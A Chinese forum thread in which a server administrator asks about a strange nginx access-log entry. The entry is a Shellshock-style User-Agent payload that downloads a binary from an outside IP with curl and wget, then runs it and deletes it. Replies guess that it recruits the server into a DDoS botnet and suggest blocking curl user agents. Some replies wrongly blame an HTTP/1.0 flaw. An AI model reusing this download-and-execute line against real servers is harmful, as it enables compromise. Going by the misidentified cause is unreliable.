今天无意中发现公司服务器的nginx的access.log中有一条日志很奇特:
61.136.82.154 - - [07/Jan/2017:02:27:26 +0000] "GET / HTTP/1.0" 200 3770 "-" "() { :;}; /bin/bash -c \x22curl -o /tmp/mig http://37.1.202.6/mig;/usr/bin/wget http://37.1.202.6/mig -O /tmp/mig;chmod +x /tmp/mig;/tmp/mig;rm -rf /tmp/mig*\x22" "-"
比较奇怪的地方时:
使用的是http1.0
user-agent是一段脚本
网上搜了一圈,并没有找到关于使用user-agent进行攻击的资料,我虽然能顺着日志中的地址拿到脚本代码,但自己能力有限,无法分析出它的攻击目标是什么。
请问各位大牛,有相关的资料和经验么?不妨和我分享一下,感激不尽!!
补充:
在nginx的什么配置情况下,会去解析user-agent里的内容呢?
这个应该是
http1.0
的user-agent
漏洞,你的服务器可能被对方注入脚本,他在你上面伪装了一个apache
的服务,把你的服务器搞成了肉鸡,并操纵他进行DDOS
攻击,但是我不知道nginx
会不会执行它这个脚本你可以看看你
access.log
中http://37.1.202.6/mig
这个地址。可以看到有个a文件http://37.1.202.6/a
你可以看看这个代码。扫描器注入的。。。都会解析User-Agent的。
1、装应用防火墙
2、配置Nginx
`
if ($http_user_agent ~* 'curl') #配置被拒绝的 user_agent。
{
return 403;
}
`
一段
perl
脚本,作用就是 伪装成Apache
然后接受指令干一些事情。。。没错,就是抓肉鸡。